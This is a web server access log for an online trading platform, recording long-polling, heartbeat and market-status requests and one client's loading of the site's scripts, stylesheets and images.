[09/Jan/2026:11:55:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931217070 HTTP/1.1" -
[09/Jan/2026:11:55:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931217808 HTTP/1.1" -
[09/Jan/2026:11:55:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931218020 HTTP/1.1" -
[09/Jan/2026:11:55:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:55:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931218904 HTTP/1.1" -
[09/Jan/2026:11:55:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:55:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931219186 HTTP/1.1" -
[09/Jan/2026:11:55:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931220118 HTTP/1.1" -
[09/Jan/2026:11:55:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:55:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931219865 HTTP/1.1" -
[09/Jan/2026:11:55:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931222132 HTTP/1.1" -
[09/Jan/2026:11:55:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931222863 HTTP/1.1" -
[09/Jan/2026:11:55:54 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931223088 HTTP/1.1" -
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:11:55:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:11:55:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:11:55:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931224115 HTTP/1.1" -
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:11:55:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931224242 HTTP/1.1" -
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767931224676 HTTP/1.1" 3188
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 124
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:11:55:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931225152 HTTP/1.1" -
[09/Jan/2026:11:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 293
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
